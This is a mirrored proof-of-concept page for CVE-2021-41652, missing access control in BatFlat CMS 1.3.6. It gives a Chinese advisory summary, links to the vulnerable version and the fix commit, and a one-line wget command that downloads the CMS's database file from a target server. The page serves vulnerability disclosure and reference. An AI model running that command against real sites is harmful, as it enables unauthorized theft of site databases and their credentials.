CVE-2021-41652 PoC — BatFlat CMS 安全漏洞

Source

https://github.com/deathflash1411/cve-2021-41652

Associated Vulnerability

Title:BatFlat CMS 安全漏洞 (CVE-2021-41652)
Description:Paweł Klockiewicz Batflat CMS是 Paweł Klockiewicz开源的一个应用软件。提供一个CMS网站功能。 BatFlat CMS 存在安全漏洞，该漏洞允许攻击者可利用该漏洞转储整个数据库。

Description

Missing Access Control in BatFlat CMS 1.3.6

Readme

# CVE-2021-41652

**Description:** Missing Access Control in BatFlat CMS 1.3.6

**Vulnerable App:** [Download](https://github.com/sruupl/batflat/archive/master.zip) (reset to commit `0c9511fb342fbdd17fd0d1d0cccafc8ae43b6189`)

**Github Issue:** [https://github.com/sruupl/batflat/issues/113](https://github.com/sruupl/batflat/issues/113)

**Fixed Commit:** [9211d84406d63c575b079619137aff74b67cd344](https://github.com/sruupl/batflat/commit/9211d84406d63c575b079619137aff74b67cd344)

**Proof Of Concept:** `wget https://<target-ip>/inc/data/database.sdb`

File Snapshot


 [4.0K]  /data/pocs/80022e296ba70d37f08e2af0e335737f384a3334
└── [ 554]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!